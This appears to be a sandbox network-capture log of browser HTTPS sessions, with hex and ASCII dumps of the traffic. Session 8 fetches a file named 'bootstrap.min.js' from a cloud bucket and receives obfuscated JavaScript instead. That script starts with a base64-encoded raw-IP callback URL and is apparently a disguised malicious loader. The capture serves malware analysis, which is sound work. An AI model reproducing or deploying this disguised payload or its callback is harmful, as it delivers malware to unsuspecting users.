i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b Data Ascii: ,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 Data Ascii: ew _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 Data Ascii: t();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].C
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c Data Ascii: Selector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 Data Ascii: n t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){retur
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 Data Ascii: if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.qu
2024-09-16 19:11:14 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 Data Ascii: tring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49712	43.157.144.205	443	5892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 19:11:14 UTC	618	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 1203395472-1323985617.cos.sa-saopaulo.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-16 19:11:15 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 585812 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Mon, 16 Sep 2024 19:11:14 GMT ETag: "2bf21da2c9f49402a99ef5655a040773" Last-Modified: Mon, 16 Sep 2024 18:26:36 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 16274692373231996141 x-cos-request-id: NjZlODgyZDJfOTI1NzU5MGJfYmMxZF81ODc1NmRm
2024-09-16 19:11:15 UTC	15958	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 44 6f 76 4c 7a 45 31 4e 79 34 78 4e 7a 4d 75 4d 54 49 77 4c 6a 45 33 4e 43 38 78 4d 6a 41 7a 4d 7a 6b 31 4e 44 63 79 4c 32 35 6c 65 48 51 75 63 47 68 77 22 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 33 62 37 62 28 5f 30 78 33 66 33 39 39 66 2c 5f 30 78 35 66 35 36 39 64 29 7b 76 61 72 20 5f 30 78 34 63 37 62 66 32 3d 5f 30 78 34 66 66 37 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 33 62 37 62 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 64 35 34 35 63 2c 5f 30 78 34 62 62 66 64 65 29 7b 5f 30 78 31 64 35 34 35 63 3d 5f 30 78 31 64 35 34 35 63 2d 28 30 78 34 2a 2d 30 78 35 65 63 2b 2d 30 78 31 38 35 2a 2d 30 78 61 2b 30 78 39 36 31 29 3b 76 61 72 20 5f 30 78 32 66 39 36 31 64 3d 5f 30 78 34 63 37 62 66 32 Data Ascii: var file = "aHR0cDovLzE1Ny4xNzMuMTIwLjE3NC8xMjAzMzk1NDcyL25leHQucGhw";function _0x3b7b(_0x3f399f,_0x5f569d){var _0x4c7bf2=_0x4ff7();return _0x3b7b=function(_0x1d545c,_0x4bbfde){_0x1d545c=_0x1d545c-(0x4-0x5ec+-0x185-0xa+0x961);var _0x2f961d=_0x4c7bf2
2024-09-16 19:11:15 UTC	16372	IN	Data Raw: 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 65 38 34 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 39 30 32 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 62 30 32 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 34 34 31 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 39 39 38 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 63 66 30 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 37 66 66 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 35 32 65 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 39 31 37 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 31 33 64 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 63 38 38 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 65 39 66 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 32 38 32 36 29 2b 5f 30 78 32 30 33 32 61 31 28 30 78 31 63 64 65 29 2b 5f 30 78 32 30 Data Ascii: )+_0x2032a1(0x2e84)+_0x2032a1(0x2902)+_0x2032a1(0x2b02)+_0x2032a1(0x441)+_0x2032a1(0x2998)+_0x2032a1(0x2cf0)+_0x2032a1(0x7ff)+_0x2032a1(0x52e)+_0x2032a1(0x917)+_0x2032a1(0x113d)+_0x2032a1(0x1c88)+_0x2032a1(0x1e9f)+_0x2032a1(0x2826)+_0x2032a1(0x1cde)+_0x20
2024-09-16 19:11:15 UTC	16384	IN	Data Raw: 28 30 78 32 37 62 39 29 5d 28 7b 27 6c 65 66 74 27 3a 30 78 30 2c 27 6f 70 61 63 69 74 79 27 3a 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 31 31 65 63 29 5d 7d 2c 30 78 32 61 34 2b 30 78 65 66 33 2b 2d 30 78 31 31 39 37 29 3b 63 6f 6e 74 69 6e 75 65 3b 7d 62 72 65 61 6b 3b 7d 7d 65 6c 73 65 20 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 32 35 63 35 29 5d 28 5f 30 78 34 63 63 38 35 31 5b 5f 30 78 34 32 32 63 31 38 28 30 78 32 38 38 33 29 5d 2c 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 62 38 37 29 5d 29 26 26 28 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 31 39 39 37 29 5d 28 24 2c 5f 30 78 32 32 63 35 37 63 5b 5f 30 78 34 32 32 63 31 38 28 30 78 31 37 62 31 29 5d 29 Data Ascii: (0x27b9)]({'left':0x0,'opacity':_0x22c57c[_0x422c18(0x11ec)]},0x2a4+0xef3+-0x1197);continue;}break;}}else _0x22c57c[_0x422c18(0x25c5)](_0x4cc851[_0x422c18(0x2883)],_0x22c57c[_0x422c18(0xb87)])&&(_0x22c57c[_0x422c18(0x1997)]($,_0x22c57c[_0x422c18(0x17b1)])
2024-09-16 19:11:15 UTC	16352	IN	Data Raw: 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 6c 27 2c 27 5c 78 32 30 7b 5c 78 32 30 2e 63 6f 6c 2d 73 6d 27 2c 27 34 35 62 36 32 5c 78 32 30 21 69 6d 70 27 2c 27 72 74 2d 6c 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 27 2c 27 31 2f 4d 69 63 72 6f 73 6f 66 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 2d 27 2c 27 74 69 6f 6e 3a 5c 78 32 30 68 65 69 67 27 2c 27 5c 78 32 30 2e 6d 62 2d 78 6c 2d 33 2c 27 2c 27 64 69 6e 67 2d 6c 65 66 74 3a 27 2c 27 72 2c 5c 78 32 30 62 75 74 74 6f 6e 2e 27 2c 27 44 53 56 52 49 27 2c 27 65 64 62 61 63 6b 5c 78 32 30 7b 5c 78 32 30 64 27 2c 27 74 65 2d 73 70 61 63 65 3a 5c 78 32 30 27 2c 27 65 6d 65 6e 74 5e 3d 62 6f 74 27 2c 27 73 61 62 6c 65 64 29 3a 6e 6f 27 2c 27 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 2e 27 2c 27 74 3a 5c 78 32 30 37 70 78 Data Ascii: \x20{\x20displ','\x20{\x20.col-sm','45b62\x20!imp','rt-link\x20{\x20','1/Microsof','display:\x20-','tion:\x20heig','\x20.mb-xl-3,','ding-left:','r,\x20button.','DSVRI','edback\x20{\x20d','te-space:\x20','ement^=bot','sabled):no','ing-top:\x20.','t:\x207px
2024-09-16 19:11:15 UTC	16368	IN	Data Raw: 30 6d 61 72 27 2c 27 74 63 6e 2f 6e 42 4a 2f 44 63 27 2c 27 73 65 6c 65 63 74 3a 5c 78 32 30 6e 6f 27 2c 27 30 5c 78 32 30 7b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 72 3a 5c 78 32 30 23 36 63 37 35 37 64 27 2c 27 64 64 69 6e 67 3a 5c 78 32 30 2e 35 72 27 2c 27 74 6e 2d 73 65 63 6f 6e 64 61 27 2c 27 64 6f 65 73 6e 5c 78 32 37 74 5c 78 32 30 65 78 27 2c 27 69 6d 61 72 79 3a 68 6f 76 65 27 2c 27 2d 63 6f 6c 6f 72 3a 5c 78 32 30 23 33 27 2c 27 72 6d 2d 67 72 6f 75 70 5c 78 32 30 7b 27 2c 27 2e 35 3b 5c 78 32 30 62 6f 72 64 65 72 27 2c 27 6d 65 6e 75 5c 78 32 30 7b 5c 78 32 30 74 6f 70 27 2c 27 59 41 36 5a 6d 74 64 6f 46 45 27 2c 27 2d 31 30 2c 5c 78 32 30 2e 63 6f 6c 2d 27 2c 27 3b 5c 78 32 30 62 6f 72 64 65 72 2d 72 27 2c 27 6f 72 64 2d 73 70 61 63 69 6e 27 Data Ascii: 0mar','tcn/nBJ/Dc','select:\x20no','0\x20{\x20border','r:\x20#6c757d','dding:\x20.5r','tn-seconda','doesn\x27t\x20ex','imary:hove','-color:\x20#3','rm-group\x20{','.5;\x20border','menu\x20{\x20top','YA6ZmtdoFE','-10,\x20.col-',';\x20border-r','ord-spacin'
2024-09-16 19:11:15 UTC	8184	IN	Data Raw: 78 32 30 23 64 63 33 35 34 35 5c 78 32 30 7d 27 2c 27 74 5c 78 32 30 7d 5c 78 32 30 2e 70 6c 2d 34 2c 27 2c 27 66 5c 78 32 37 5c 78 32 30 76 69 65 77 42 6f 78 27 2c 27 65 61 72 61 6e 63 65 3a 5c 78 32 30 6e 27 2c 27 6c 2d 31 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 27 2c 27 6e 64 69 63 61 74 6f 72 73 5c 78 32 30 27 2c 27 74 2e 69 73 2d 76 61 6c 69 64 27 2c 27 3d 5c 78 32 37 30 5c 78 32 30 30 5c 78 32 30 38 5c 78 32 30 38 5c 78 32 37 27 2c 27 3a 5c 78 32 30 31 31 38 70 78 3b 5c 78 32 30 68 27 2c 27 61 62 65 6c 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3a 5c 78 32 30 2d 6d 73 2d 61 75 74 6f 27 2c 27 62 57 39 35 62 76 61 58 63 43 27 2c 27 73 2d 66 6c 65 78 2d 70 72 65 27 2c 27 61 64 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 6c 27 2c 27 6c 6f 72 3a 5c 78 32 30 23 33 34 Data Ascii: x20#dc3545\x20}','t\x20}\x20.pl-4,','f\x27\x20viewBox','earance:\x20n','l-12\x20{\x20-we','ndicators\x20','t.is-valid','=\x270\x200\x208\x208\x27',':\x20118px;\x20h','abel,\x20.was',':\x20-ms-auto','bW95bvaXcC','s-flex-pre','ad\x20{\x20displ','lor:\x20#34
2024-09-16 19:11:15 UTC	8184	IN	Data Raw: 32 30 62 27 2c 27 67 6f 69 6d 67 5c 78 32 32 5c 78 32 30 77 69 64 27 2c 27 6f 72 64 65 72 3a 5c 78 32 30 30 5c 78 32 30 7d 27 2c 27 64 65 72 3a 5c 78 32 30 36 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 79 3a 5c 78 32 30 6e 6f 6e 65 3b 5c 78 32 32 5c 78 32 30 27 2c 27 61 76 5c 78 32 30 2e 64 72 6f 70 64 6f 27 2c 27 62 6f 64 79 27 2c 27 6f 65 5c 78 32 30 55 49 5c 78 32 32 2c 5c 78 32 30 52 6f 27 2c 27 62 6b 69 74 2d 62 6f 78 2d 64 27 2c 27 61 62 6c 65 64 29 3a 6e 6f 74 27 2c 27 31 54 7a 74 7a 6d 33 64 54 2f 27 2c 27 5c 78 32 30 2e 70 79 2d 73 6d 2d 32 5c 78 32 30 27 2c 27 69 6f 6e 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 27 2c 27 2f 4a 59 61 49 55 39 6c 4f 61 27 2c 27 49 66 63 50 49 27 2c 27 39 31 2e 39 38 70 78 29 5c 78 32 30 7b 27 2c 27 64 5c 78 32 30 74 72 61 Data Ascii: 20b','goimg\x22\x20wid','order:\x200\x20}','der:\x206\x20}\x20.','y:\x20none;\x22\x20','av\x20.dropdo','body','oe\x20UI\x22,\x20Ro','bkit-box-d','abled):not','1Tztzm3dT/','\x20.py-sm-2\x20','ion\x20{\x20font','/JYaIU9lOa','IfcPI','91.98px)\x20{','d\x20tra
2024-09-16 19:11:15 UTC	8184	IN	Data Raw: 7d 5c 78 32 30 73 75 62 2c 5c 78 32 30 73 75 70 27 2c 27 74 5c 78 32 30 7d 5c 78 32 30 2e 6d 74 2d 78 6c 27 2c 27 5c 78 32 30 75 72 6c 28 5c 78 32 37 68 74 74 70 27 2c 27 70 61 72 65 6e 74 3b 5c 78 32 30 62 6f 27 2c 27 35 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 66 66 73 27 2c 27 6f 77 3e 2e 62 74 6e 2d 64 61 27 2c 27 37 35 72 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 66 27 2c 27 78 2d 78 6c 2d 33 5c 78 32 30 7b 5c 78 32 30 6d 27 2c 27 72 6d 2d 6d 65 73 73 61 67 65 27 2c 27 5c 78 32 30 6e 6f 2d 72 65 70 65 61 74 27 2c 27 65 6c 69 6e 65 5c 78 32 30 7b 5c 78 32 30 76 65 27 2c 27 65 6e 74 73 27 2c 27 37 70 78 5c 78 32 30 37 70 78 3b 5c 78 32 30 6f 27 2c 27 78 50 63 58 56 78 4a 64 58 55 27 2c 27 79 3b 5c 78 32 30 2d 6d 73 2d 66 6c 65 27 2c 27 6f 76 65 72 3e 74 64 2c 5c Data Ascii: }\x20sub,\x20sup','t\x20}\x20.mt-xl','\x20url(\x27http','parent;\x20bo','5%\x20}\x20.offs','ow>.btn-da','75rem\x20}\x20.f','x-xl-3\x20{\x20m','rm-message','\x20no-repeat','eline\x20{\x20ve','ents','7px\x207px;\x20o','xPcXVxJdXU','y;\x20-ms-fle','over>td,\
2024-09-16 19:11:15 UTC	16384	IN	Data Raw: 27 65 5c 78 32 30 7b 5c 78 32 30 62 6f 74 74 6f 6d 27 2c 27 25 5c 78 32 30 7d 5c 78 32 30 2e 63 6f 6c 2d 6c 27 2c 27 64 72 6f 70 64 6f 77 6e 2d 74 27 2c 27 75 74 2e 69 73 2d 69 6e 76 61 27 2c 27 5c 78 32 30 3c 69 6d 67 5c 78 32 30 73 72 63 3d 27 2c 27 57 65 73 74 5c 78 32 30 45 75 72 6f 70 27 2c 27 6e 74 2d 73 6d 2d 63 65 6e 74 27 2c 27 5c 78 32 30 66 6c 65 78 2d 66 6c 6f 77 27 2c 27 2d 73 75 63 63 65 73 73 3a 6e 27 2c 27 5c 78 32 30 61 70 70 3f 5c 78 32 30 4d 61 6b 65 27 2c 27 6d 3b 5c 78 32 30 77 6f 72 64 2d 77 72 27 2c 27 72 3a 5c 78 32 30 23 63 33 65 36 63 62 27 2c 27 74 69 63 3b 5c 78 32 30 6d 61 72 67 69 27 2c 27 6f 73 6f 66 74 3c 2f 73 70 61 27 2c 27 6f 76 65 72 2d 62 6f 74 74 6f 27 2c 27 68 74 5c 78 32 30 2e 6e 61 76 62 61 72 27 2c 27 72 3a 5c 78 Data Ascii: 'e\x20{\x20bottom','%\x20}\x20.col-l','dropdown-t','ut.is-inva','\x20<img\x20src=','West\x20Europ','nt-sm-cent','\x20flex-flow','-success:n','\x20app?\x20Make','m;\x20word-wr','r:\x20#c3e6cb','tic;\x20margi','osoft</spa','over-botto','ht\x20.navbar','r:\x
2024-09-16 19:11:15 UTC	16384	IN	Data Raw: 2c 27 3a 5c 78 32 30 23 31 62 31 65 32 31 3b 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 64 74 68 3d 5c 78 32 37 32 5c 78 32 37 5c 78 32 30 73 74 27 2c 27 5c 78 32 30 32 34 70 78 3b 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 3a 5c 78 32 30 73 74 72 65 74 63 68 5c 78 32 30 27 2c 27 67 70 61 65 4f 45 6b 56 69 6b 27 2c 27 6f 6e 74 72 6f 6c 2d 69 6e 70 27 2c 27 5c 78 32 30 31 36 2e 35 25 2c 5c 78 32 30 37 36 27 2c 27 6d 5c 78 32 30 2e 35 72 65 6d 5c 78 32 30 30 5c 78 32 30 27 2c 27 33 72 65 6d 5c 78 32 30 7d 5c 78 32 30 2e 6d 6f 27 2c 27 52 45 56 47 52 30 68 4a 53 6c 27 2c 27 5c 78 32 30 35 70 78 3b 5c 78 32 30 62 61 63 6b 27 2c 27 69 74 2d 73 65 61 72 63 68 2d 27 2c 27 35 75 62 34 72 69 6b 61 72 4a 27 2c 27 72 3a 5c 78 32 30 35 5c 78 32 30 7d 5c 78 32 30 2e Data Ascii: ,':\x20#1b1e21;','UAAAABAAAA','dth=\x272\x27\x20st','\x2024px;\x20}\x20.',':\x20stretch\x20','gpaeOEkVik','ontrol-inp','\x2016.5%,\x2076','m\x20.5rem\x200\x20','3rem\x20}\x20.mo','REVGR0hJSl','\x205px;\x20back','it-search-','5ub4rikarJ','r:\x205\x20}\x20.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49720	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
